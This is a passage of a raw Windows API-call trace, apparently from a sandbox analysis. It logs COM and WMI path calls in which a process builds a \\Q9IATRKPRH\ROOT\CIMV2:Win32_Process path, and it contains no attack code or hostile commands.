pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0139.792] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0139.792] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.794] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3c80) returned 0x0 [0139.794] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3c80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0139.794] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3c80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94ff0) returned 0x0 [0139.794] WbemDefPath:IUnknown:Release (This=0x1bcc3c80) returned 0x0 [0139.794] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94ff0) returned 0x0 [0139.794] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0139.795] WbemDefPath:IUnknown:AddRef (This=0x1bc94ff0) returned 0x3 [0139.795] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0139.795] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0139.795] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc3d00) returned 0x0 [0139.795] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3d00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.795] WbemDefPath:IUnknown:Release (This=0x1bcc3d00) returned 0x3 [0139.795] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0139.795] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0139.795] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0139.795] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x2 [0139.795] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x1 [0139.795] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0139.795] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0139.795] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94ff0) returned 0x0 [0139.795] WbemDefPath:IUnknown:AddRef (This=0x1bc94ff0) returned 0x3 [0139.795] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x2 [0139.795] WbemDefPath:IWbemPath:SetText (This=0x1bc94ff0, uMode=0x4, pszPath="") returned 0x0 [0139.796] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0139.796] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94f30, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0139.796] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc94ff0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0139.796] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94ff0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0139.796] WbemDefPath:IWbemPath:SetServer (This=0x1bc94ff0, Name="Q9IATRKPRH") returned 0x0 [0139.796] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0139.796] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0139.796] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0139.796] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.798] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3d20) returned 0x0 [0139.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3d20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0139.798] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3d20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc950b0) returned 0x0 [0139.798] WbemDefPath:IUnknown:Release (This=0x1bcc3d20) returned 0x0 [0139.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc950b0) returned 0x0 [0139.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0139.799] WbemDefPath:IUnknown:AddRef (This=0x1bc950b0) returned 0x3 [0139.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0139.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0139.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc3d60) returned 0x0 [0139.799] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.799] WbemDefPath:IUnknown:Release (This=0x1bcc3d60) returned 0x3 [0139.799] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0139.799] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0139.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0139.799] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x2 [0139.799] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x1 [0139.799] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0139.799] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0139.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc950b0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc950b0) returned 0x0 [0139.800] WbemDefPath:IUnknown:AddRef (This=0x1bc950b0) returned 0x3 [0139.800] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x2 [0139.800] WbemDefPath:IWbemPath:SetText (This=0x1bc950b0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc950b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetText (in: This=0x1bc950b0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetText (in: This=0x1bc950b0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0139.800] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc94ff0) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc950b0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc950b0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc950b0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0139.800] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94ff0, uIndex=0x0, pszName="ROOT") returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc950b0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc950b0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0139.800] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94ff0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc94ff0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0139.800] WbemDefPath:IWbemPath:SetClassName (This=0x1bc94ff0, Name="Win32_Process") returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94ff0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0139.800] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94ff0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0139.801] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0139.801] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0139.801] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0139.801] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0139.801] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.803] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bcc3fc0) returned 0x0 [0139.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3fc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0139.803] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3fc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc95170) returned 0x0 [0139.803] WbemDefPath:IUnknown:Release (This=0x1bcc3fc0) returned 0x0 [0139.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc95170) returned 0x0 [0139.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0139.804] WbemDefPath:IUnknown:AddRef (This=0x1bc95170) returned 0x3 [0139.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0139.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0139.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bcc4000) returned 0x0 [0139.804] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4000, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.804] WbemDefPath:IUnknown:Release (This=0x1bcc4000) returned 0x3 [0139.804] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0139.804] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0139.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0139.804] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x2 [0139.804] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x1 [0139.804] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0139.805] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0139.805] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc95170) returned 0x0 [0139.805] WbemDefPath:IUnknown:AddRef (This=0x1bc95170) returned 0x3 [0139.805] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x2 [0139.805] WbemDefPath:IWbemPath:SetText (This=0x1bc95170, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0139.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0139.805] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0139.805] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.805] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0139.805] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0139.805] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0139.805] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.807] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc4040) returned 0x0 [0139.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4040, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) 